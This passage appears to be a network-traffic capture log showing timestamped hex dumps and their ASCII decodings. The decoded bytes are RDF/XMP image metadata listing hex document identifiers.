F675AFBC</rdf:li> <rdf:li>330797882D1943262FC45C435AA684BF</rdf:li> <rdf:li>33099CFE567B700D81834AB7
054785E9</rdf:li> <rdf:li>330A2974364B64221C1E87E3C53666A1</rdf:li>

2022-06-08 07:56:16 UTC 2816 IN Data Raw: 39 39 45 43 39 31 37 31 43 44 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 33 33 41 30 
46 31 33 31 30 46 39 36 41 45 39 41 44 38 44 42 32 35 30 43 46 38 34 39 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 34 30 35 35 43 34 39 39 45 46 36 45 36 35 37 30 46 41 44 37 45 42 42 44 39 41 44 44 31 32 34 30 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 35 41 31 30 31 34 45 34 33 46 44 30 36 30 45 37 37 30 31 31 35 
30 39 33 30 46 38 36 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 30 36 34 42 38 38 33 30 38 38 46 
31 38 46 34 42 45 42 32 42 37 41 44 41 39 41 37 31 42 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 
30 36 42 43 34 41 32 44 41 37 34 31 30 42 37 37 42 30 31 42 45 31 44 34 
Data Ascii: 99EC9171CD23</rdf:li> <rdf:li>4033A0F1310F96AE9AD8DB250CF849D8</rdf:li> <rdf:li>4055C499
EF6E6570FAD7EBBD9ADD1240</rdf:li> <rdf:li>405A1014E43FD060E7701150930F8604</rdf:li> <rdf:li>4064B883
088F18F4BEB2B7ADA9A71B70</rdf:li> <rdf:li>406BC4A2DA7410B77B01BE1D4

2022-06-08 07:56:16 UTC 2879 IN Data Raw: 42 42 32 37 38 43 42 30 38 39 31 43 31 42 41 30 30 32 30 43 43 36 44 39 42 30 42 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 30 31 35 39 30 33 31 33 30 33 34 33 30 44 36 46 35 39 46 46 32 44 38 41 43 30 
33 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 31 32 32 37 36 41 32 33 32 42 31 37 33 45 30 
35 38 46 43 39 45 31 34 36 37 35 42 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 41 44 44 45 3
9 38 33 45 45 43 30 31 32 38 44 41 36 32 38 30 34 42 34 34 37 35 38 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 34 44 39 31 41 43 44 31 44 35 35 30 43 34 46 45 36 38 37 46 36 44 43 30 45 34 45 43 44 33 35 37 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 41 36 35 45 38 34 42 
Data Ascii: BB278CB0891C1BA0020CC6D9B0B9</rdf:li> <rdf:li>4D80159031303430D6F59FF2D8AC03F5</rdf:li> 
<rdf:li>4D812276A232B173E058FC9E14675BD9</rdf:li> <rdf:li>4D8ADDE983EEC0128DA62804B447589C</rdf:li> 
<rdf:li>4D91ACD1D550C4FE687F6DC0E4ECD357</rdf:li> <rdf:li>4DA65E84B

2022-06-08 07:56:16 UTC 2911 IN Data Raw: 35 46 30 39 35 31 39 30 30 46 42 39 39 36 44 45 44 30 34 43 30 36 31 30 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 35 33 46 34 37 45 38 33 37 33 31 45 44 34 37 38 43 41 33 38 30 36 39 43 46 33 44 31 45 36 44 
38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 33 46 37 39 39 39 30 46 32 46 39 45 41 46 38 39 44 32 41 
35 41 33 45 42 32 38 39 45 36 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 31 41 33 45 31 30 32 3
9 31 46 45 43 39 36 43 35 44 31 41 41 45 37 42 32 35 41 42 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 35 34 32 36 36 44 34 37 34 45 30 31 42 39 39 37 39 33 44 42 35 42 31 32 37 31 37 32 30 46 32 42 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 34 33 45 33 38 32 36 46 31 45 
Data Ascii: 5F0951900FB996DED04C061074</rdf:li> <rdf:li>53F47E83731ED478CA38069CF3D1E6D8</rdf:li> <r
df:li>53F79990F2F9EAF89D2A5A3EB289E607</rdf:li> <rdf:li>541A3E10291FEC96C5D1AAE7B25ABB41</rdf:li> <r
df:li>54266D474E01B99793DB5B1271720F2B</rdf:li> <rdf:li>543E3826F1E

2022-06-08 07:56:16 UTC 3030 IN Data Raw: 33 41 33 33 37 43 41 42 41 39 35 39 45 35 32 44 32 39 34 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 36 32 36 38 46 43 44 39 32 43 46 32 39 30 32 34 35 31 36 30 42 41 37 30 33 42 44 39 34 45 44 30 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 37 46 32 42 42 34 32 30 46 31 32 33 46 36 39 46 46 38 32 46 32 32 33 
41 41 35 41 33 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 38 31 34 36 45 36 41 32 31 39 44 38 4
6 41 37 31 43 32 39 41 45 36 42 33 34 35 38 35 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 39 32 
30 31 32 32 36 43 33 38 45 34 42 34 33 34 37 34 46 30 34 43 42 41 34 30 31 44 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 36 32 41 38 34 45 38 39 34 32 33 38 44 44 38 43 
Data Ascii: 3A337CABA959E52D29411</rdf:li> <rdf:li>6268FCD92CF290245160BA703BD94ED0</rdf:li> <rdf:li
>627F2BB420F123F69FF82F223AA5A38B</rdf:li> <rdf:li>628146E6A219D8FA71C29AE6B34585F5</rdf:li> <rdf:li
>629201226C38E4B43474F04CBA401DAF</rdf:li> <rdf:li>62A84E894238DD8C

2022-06-08 07:56:16 UTC 3086 IN Data Raw: 66 3a 6c 69 3e 37 30 33 34 31 36 41 39 45 45 30 30 39 34 42 44 41 46 42 36 43 38 46 42 32 31 41 37 32 32 
33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 30 41 38 37 42 42 42 31 36 35 38 38 33 35 43 43 
41 38 42 37 41 43 30 43 45 31 33 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 42 44 46 30 41 3
1 36 34 45 36 46 30 44 32 37 41 30 44 37 31 31 37 33 43 32 38 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 37 30 37 37 42 34 36 38 31 42 34 45 32 38 36 38 39 46 36 41 32 41 31 36 31 30 36 43 45 46 30 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 37 42 44 38 31 38 42 44 34 44 46 45 31 38 37 30 38 46 41 38 39 37 34 
44 46 41 36 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>703416A9EE0094BDAFB6C8FB21A7223D</rdf:li> <rdf:li>7060A87BBB1658835CCA8B7AC0CE13ED<
/rdf:li> <rdf:li>706BDF0A164E6F0D27A0D71173C28A00</rdf:li> <rdf:li>7077B4681B4E28689F6A2A16106CEF0E</rdf:li> 
<rdf:li>7097BD818BD4DFE18708FA8974DFA679</rdf:li> <rdf:li>
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2022-06-08 07:56:16 UTC 3141 IN Data Raw: 6c 69 3e 37 36 46 37 45 31 41 43 31 44 43 34 41 39 36 34 45 43 35 32 46 46 44 45 35 43 36 44 44 37 33 44 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 36 46 42 37 46 39 35 35 43 43 44 46 44 35 36 36 33 32 32 32 
34 43 39 31 39 30 41 30 46 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 30 37 46 31 42 34 41 43 3
6 43 36 34 39 31 37 45 43 44 30 33 32 45 41 45 31 39 42 46 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
37 37 30 44 39 38 42 35 30 43 36 38 41 38 32 41 32 45 46 42 32 32 44 31 44 42 38 38 39 34 41 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 30 44 44 45 30 32 32 38 34 35 35 42 43 34 39 46 44 41 31 35 34 30 39 44 44 45 
37 41 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 37 
Data Ascii: li>76F7E1AC1DC4A964EC52FFDE5C6DD73D</rdf:li> <rdf:li>76FB7F955CCDFD56632224C9190A0F91</r
df:li> <rdf:li>7707F1B4AC6C64917ECD032EAE19BF9D</rdf:li> <rdf:li>770D98B50C68A82A2EFB22D1DB8894A9</r
df:li> <rdf:li>770DDE0228455BC49FDA15409DDE7A64</rdf:li> <rdf:li>77

2022-06-08 07:56:16 UTC 3205 IN Data Raw: 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 46 30 32 31 33 30 42 37 43 43 33 36 39 37 34 
39 33 32 46 39 31 34 42 42 33 46 39 31 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 34 46 43 37 34 
43 42 44 42 43 35 44 41 46 31 30 46 42 46 38 44 44 34 35 36 46 33 41 36 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 38 35 30 42 31 39 44 37 43 32 42 39 42 45 37 41 45 46 46 38 42 30 44 36 34 32 34 32 33 37 44 37 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 30 43 46 45 31 45 32 38 33 43 39 43 39 39 30 46 46 35 36 42 45 
35 34 45 35 45 35 44 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 31 32 31 44 38 34 32 35 34 31 
33 37 34 44 38 44 41 43 41 31 46 31 45 45 38 37 37 30 46 46 3c 2f 72 64 
Data Ascii: C</rdf:li> <rdf:li>84F02130B7CC36974932F914BB3F9147</rdf:li> <rdf:li>84FC74CBDBC5DAF10FB
F8DD456F3A67E</rdf:li> <rdf:li>850B19D7C2B9BE7AEFF8B0D6424237D7</rdf:li> <rdf:li>850CFE1E283C9C990FF
56BE54E5E5D0E</rdf:li> <rdf:li>85121D842541374D8DACA1F1EE8770FF</rd

2022-06-08 07:56:16 UTC 3221 IN Data Raw: 32 38 45 37 33 34 30 44 35 38 33 46 39 44 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 
32 34 36 43 37 35 30 41 39 42 30 46 32 36 30 39 35 46 46 34 45 38 42 44 35 38 46 42 38 36 41 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 39 32 35 46 36 33 31 43 35 31 46 38 31 41 35 36 38 35 43 33 44 41 44 39 43 41 45 42 39 
31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 37 46 31 46 42 36 38 45 45 45 44 39 39 44 44 43 3
7 44 32 39 43 33 37 45 31 45 32 36 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 39 34 41 30 41 32 
36 39 31 31 34 37 33 37 34 43 38 43 31 36 43 46 33 39 31 38 32 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 39 32 41 33 32 39 34 35 32 36 33 42 41 37 43 43 33 38 31 31 
Data Ascii: 28E7340D583F9DC3A</rdf:li> <rdf:li>9246C750A9B0F26095FF4E8BD58FB86A</rdf:li> <rdf:li>925
F631C51F81A5685C3DAD9CAEB9138</rdf:li> <rdf:li>927F1FB68EEED99DDC7D29C37E1E269A</rdf:li> <rdf:li>929
4A0A2691147374C8C16CF39182E7F</rdf:li> <rdf:li>92A32945263BA7CC3811

2022-06-08 07:56:16 UTC 3284 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 32 34 39 41 35 36 33 33 46 33 30 45 41 33 34 46 39 35 33 41 31 
31 39 44 31 37 30 31 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 32 35 34 31 44 31 41 44 35 35 
32 30 34 36 39 31 41 42 36 43 42 37 42 45 35 44 38 31 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 3
9 33 30 32 34 31 37 36 34 34 34 42 35 30 34 32 46 41 37 44 41 37 46 36 46 31 38 39 31 30 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 39 39 33 42 36 43 45 31 44 37 44 32 33 35 45 38 37 43 43 45 36 46 31 33 36 39 43 41 36 
31 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 39 34 30 42 44 33 38 41 31 37 41 45 34 35 33 37 41 
39 30 32 35 38 42 35 30 34 46 46 43 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: li> <rdf:li>99249A5633F30EA34F953A119D1701E8</rdf:li> <rdf:li>992541D1AD55204691AB6CB7BE
5D812F</rdf:li> <rdf:li>993024176444B5042FA7DA7F6F18910D</rdf:li> <rdf:li>993B6CE1D7D235E87CCE6F1369
CA6152</rdf:li> <rdf:li>9940BD38A17AE4537A90258B504FFC16</rdf:li> <

2022-06-08 07:56:16 UTC 3398 IN Data Raw: 39 45 41 46 45 39 34 32 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 37 44 38 37 44 42 
46 36 46 42 32 42 35 32 45 41 39 32 43 37 39 44 43 37 42 31 45 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 41 36 38 39 31 42 33 46 45 37 32 43 39 39 42 35 39 46 46 45 46 30 43 44 37 44 33 35 35 33 41 38 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 39 41 43 45 42 43 30 45 30 33 41 33 46 38 42 37 31 36 31 36 39 43 43 
31 43 42 36 37 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 39 44 44 31 37 45 45 44 46 38 43 33 
32 46 44 31 43 36 46 42 35 43 46 32 45 35 45 34 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 39 
45 39 31 31 31 45 44 44 32 35 39 44 43 38 39 39 35 31 36 34 39 43 36 32 
Data Ascii: 9EAFE94229</rdf:li> <rdf:li>A67D87DBF6FB2B52EA92C79DC7B1E9D1</rdf:li> <rdf:li>A6891B3FE7
2C99B59FFEF0CD7D3553A8</rdf:li> <rdf:li>A69ACEBC0E03A3F8B716169CC1CB6795</rdf:li> <rdf:li>A69DD17EED
F8C32FD1C6FB5CF2E5E4AD</rdf:li> <rdf:li>A69E9111EDD259DC89951649C62

2022-06-08 07:56:16 UTC 3446 IN Data Raw: 45 30 32 38 39 42 31 37 42 39 34 33 33 39 32 35 44 33 44 36 35 33 36 34 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 39 37 31 39 36 38 32 35 37 37 32 35 39 46 30 37 46 32 44 43 31 30 37 45 42 38 
38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 46 43 34 35 35 37 34 46 31 35 43 34 38 36 33 
31 42 45 42 33 34 46 38 46 32 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 44 30 44 37 37 33 3
3 37 38 31 45 37 44 41 33 35 36 46 44 43 34 44 33 43 31 39 31 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 42 34 33 46 44 36 34 34 34 37 36 43 37 46 35 41 44 38 32 38 42 41 34 35 30 36 41 33 39 39 44 39 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 33 39 43 42 39 30 38 30 
Data Ascii: E0289B17B9433925D3D65364F5</rdf:li> <rdf:li>B43B79719682577259F07F2DC107EB88</rdf:li> <r
df:li>B43B7FC45574F15C48631BEB34F8F21F</rdf:li> <rdf:li>B43D0D7733781E7DA356FDC4D3C1910F</rdf:li> <r
df:li>B43FD644476C7F5AD828BA4506A399D9</rdf:li> <rdf:li>B4439CB9080

2022-06-08 07:56:16 UTC 3454 IN Data Raw: 30 39 35 32 32 38 36 32 42 42 43 38 39 32 46 32 38 36 45 46 46 44 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 42 41 41 35 33 35 32 42 39 30 43 44 45 30 38 45 34 44 43 39 45 30 37 45 39 46 30 35 31 31 35 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 41 35 33 39 38 46 41 45 39 45 41 30 41 44 30 35 43 37 38 45 
38 42 43 45 41 45 42 45 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 41 42 45 36 39 39 35 41 35 4
1 45 36 42 32 38 36 34 33 41 31 37 38 39 45 32 30 39 32 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 
41 41 45 36 35 45 34 46 37 32 44 30 38 34 39 42 39 36 43 37 39 33 36 31 38 46 34 42 33 33 46 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 42 41 42 37 35 36 34 44 35 44 30 33 42 
Data Ascii: 09522862BBC892F286EFFDCE</rdf:li> <rdf:li>BAA5352B90CDE08E4DC9E07E9F051153</rdf:li> <rdf
:li>BAA5398FAE9EA0AD05C78E8BCEAEBEC2</rdf:li> <rdf:li>BAABE6995A5AE6B28643A1789E209255</rdf:li> <rdf
:li>BAAE65E4F72D0849B96C793618F4B33F</rdf:li> <rdf:li>BAB7564D5D03B

2022-06-08 07:56:16 UTC 3526 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 46 34 35 33 31 34 39 36 38 30 34 36 43 38 45 37 45 39 32 43 43 37 
45 31 37 32 46 46 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 46 35 35 34 36 42 38 30 32 37 33 
42 32 30 41 45 46 41 32 42 35 43 42 34 39 42 31 31 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 3
0 41 34 44 46 45 44 30 45 36 31 34 38 35 32 37 42 42 33 41 39 32 30 32 32 45 35 46 34 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 42 42 31 33 39 44 39 32 41 37 33 34 33 39 45 43 38 42 46 43 30 46 31 46 34 42 33 31 30 37 
38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 32 39 42 35 46 33 46 45 32 32 45 36 32 35 33 36 34 
30 34 39 32 41 30 43 43 33 43 41 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: i> <rdf:li>BAF45314968046C8E7E92CC7E172FF80</rdf:li> <rdf:li>BAF5546B80273B20AEFA2B5CB49
B1140</rdf:li> <rdf:li>BB0A4DFED0E6148527BB3A92022E5F40</rdf:li> <rdf:li>BB139D92A73439EC8BFC0F1F4B3
10783</rdf:li> <rdf:li>BB29B5F3FE22E6253640492A0CC3CAF7</rdf:li> <r
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2022-06-08 07:56:16 UTC 3565 IN Data Raw: 36 42 42 46 42 36 32 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 38 43 43 46 42 36 30 37 
37 33 35 33 36 32 37 45 44 35 37 42 38 45 35 39 34 45 41 30 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 43 38 44 32 35 43 41 42 31 43 44 33 31 44 45 45 32 41 37 37 32 39 36 39 41 30 43 31 32 36 34 45 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 38 45 32 33 31 39 30 42 42 42 31 38 32 38 35 37 31 41 39 43 39 35 30 37 42 
43 36 34 30 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 30 38 42 45 43 43 33 43 33 44 33 30 31 
37 35 44 38 31 46 33 45 43 39 36 34 34 31 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 39 30 41 
43 34 36 41 44 32 36 43 45 32 33 42 35 32 37 45 33 38 41 41 42 46 43 43 
Data Ascii: 6BBFB621F</rdf:li> <rdf:li>C8CCFB6077353627ED57B8E594EA0B39</rdf:li> <rdf:li>C8D25CAB1CD
31DEE2A772969A0C1264E</rdf:li> <rdf:li>C8E23190BBB1828571A9C9507BC640F1</rdf:li> <rdf:li>C908BECC3C3
D30175D81F3EC96441936</rdf:li> <rdf:li>C90AC46AD26CE23B527E38AABFCC

2022-06-08 07:56:16 UTC 3581 IN Data Raw: 42 41 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 43 31 30 43 35 46 38 34 41 32 38 
43 44 32 33 44 42 44 32 39 32 37 41 34 37 37 37 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 
44 43 38 46 37 39 33 38 38 41 31 42 32 34 30 36 41 33 41 45 35 33 35 31 36 43 45 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 44 35 46 33 45 43 38 30 37 38 36 33 46 42 36 44 36 37 34 31 46 32 30 38 44 39 36 35 31 30 33 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 37 44 45 41 36 45 42 42 36 46 38 31 31 35 31 35 33 
39 36 33 39 30 36 36 34 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 46 38 30 39 35 36 35 
36 46 39 32 34 37 33 46 38 43 37 35 31 37 42 32 44 33 33 46 37 35 33 3c 
Data Ascii: BA2B</rdf:li> <rdf:li>D5EC10C5F84A28CD23DBD2927A4777CD</rdf:li> <rdf:li>D5EDC8F79388A1B2
406A3AE53516CEE2</rdf:li> <rdf:li>D5F3EC807863FB6D6741F208D9651037</rdf:li> <rdf:li>D5F7DEA6EBB6F811
515396390664097D</rdf:li> <rdf:li>D5F8095656F92473F8C7517B2D33F753<

2022-06-08 07:56:16 UTC 3674 IN Data Raw: 3e 44 43 34 33 41 46 44 31 36 30 34 37 46 31 38 37 38 41 42 32 32 38 36 39 37 30 41 33 33 35 44 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 34 36 36 45 45 32 34 35 32 44 32 32 46 39 39 45 30 35 36 36 39 
46 30 44 43 34 31 42 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 35 31 34 46 30 30 30 43 38 35 3
9 43 44 38 31 35 43 43 33 35 43 39 33 35 37 36 45 35 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 
36 35 34 31 38 36 37 42 32 45 46 31 43 35 34 46 35 30 39 43 33 35 31 43 32 36 37 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 44 43 36 37 35 33 37 42 35 43 36 34 31 34 41 44 45 33 38 39 35 38 45 42 37 35 46 44 33 36 
46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 36 39 
Data Ascii: >DC43AFD16047F1878AB2286970A335DC</rdf:li> <rdf:li>DC466EE2452D22F99E05669F0DC41B0C</rdf
:li> <rdf:li>DC514F000C859CD815CC35C93576E5DB</rdf:li> <rdf:li>DC6541867B2EF1C54F509C351C267932</rdf:li> 
<rdf:li>DC67537B5C6414ADE38958EB75FD36F4</rdf:li> <rdf:li>DC69

2022-06-08 07:56:16 UTC 3770 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 37 34 36 46 44 45 31 42 32 30 34 45 38 46 43 31 33 
45 44 35 42 38 38 37 42 31 30 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 37 35 43 32 38 45 
32 34 37 41 45 32 35 44 44 43 38 45 38 46 42 46 36 31 42 46 41 38 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 45 39 37 37 35 41 42 31 46 41 44 34 44 44 34 30 34 46 32 37 35 45 37 33 36 30 42 34 42 43 36 46 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 37 38 46 44 39 31 38 39 37 31 46 44 39 35 30 38 45 34 42 32 41 30 30 
32 44 34 31 45 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 37 46 33 38 46 42 42 42 30 39 34 45 
43 36 39 36 39 44 37 35 41 44 42 41 42 39 33 41 38 37 3c 2f 72 64 66 3a 
Data Ascii: /rdf:li> <rdf:li>E9746FDE1B204E8FC13ED5B887B107C5</rdf:li> <rdf:li>E975C28E247AE25DDC8E8
FBF61BFA814</rdf:li> <rdf:li>E9775AB1FAD4DD404F275E7360B4BC6F</rdf:li> <rdf:li>E978FD918971FD9508E4B
2A002D41EAE</rdf:li> <rdf:li>E97F38FBBB094EC6969D75ADBAB93A87</rdf:

2022-06-08 07:56:16 UTC 3786 IN Data Raw: 32 30 39 38 38 36 39 46 35 35 32 31 33 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 34 46 
41 30 38 36 35 44 37 41 34 43 31 39 36 34 37 33 46 43 46 45 38 45 41 38 44 46 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 46 35 30 43 45 46 38 35 36 31 34 45 31 39 33 45 38 45 33 43 33 35 42 32 45 34 33 43 45 33 35 
46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 44 33 38 35 39 35 38 44 37 44 41 30 41 35 34 30 32 3
5 44 32 32 34 43 44 43 38 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 46 39 31 35 39 39 30 
44 42 39 35 43 30 39 32 34 42 43 30 32 37 44 44 31 32 30 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 46 35 31 39 35 33 39 46 41 33 44 35 35 39 43 43 43 39 34 31 44 30 
Data Ascii: 2098869F552138F</rdf:li> <rdf:li>F4FA0865D7A4C196473FCFE8EA8DF5AC</rdf:li> <rdf:li>F50CE
F85614E193E8E3C35B2E43CE35F</rdf:li> <rdf:li>F50D385958D7DA0A54025D224CDC8DA4</rdf:li> <rdf:li>F50F9
15990DB95C0924BC027DD120D77</rdf:li> <rdf:li>F519539FA3D559CCC941D0

2022-06-08 07:56:16 UTC 3921 IN Data Raw: 31 36 38 35 43 33 42 46 34 34 34 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 35 44 38 
33 42 41 46 33 37 37 37 43 36 34 37 33 31 34 43 33 39 36 37 41 30 45 43 44 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 46 42 36 41 34 43 42 34 38 37 30 32 45 31 44 30 32 32 35 36 31 38 36 34 44 41 33 44 38 31 41 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 37 42 45 36 39 45 33 37 36 44 43 45 46 31 30 36 43 44 36 31 
35 33 38 37 41 37 32 35 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 39 41 36 35 45 42 37 36 45 
39 34 38 45 36 36 34 30 44 35 41 34 30 30 44 44 30 34 36 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
46 42 39 43 31 44 42 45 39 35 45 32 39 43 33 32 41 44 33 38 45 36 36 34 
Data Ascii: 1685C3BF4441C</rdf:li> <rdf:li>FB5D83BAF3777C647314C3967A0ECDD2</rdf:li> <rdf:li>FB6A4CB
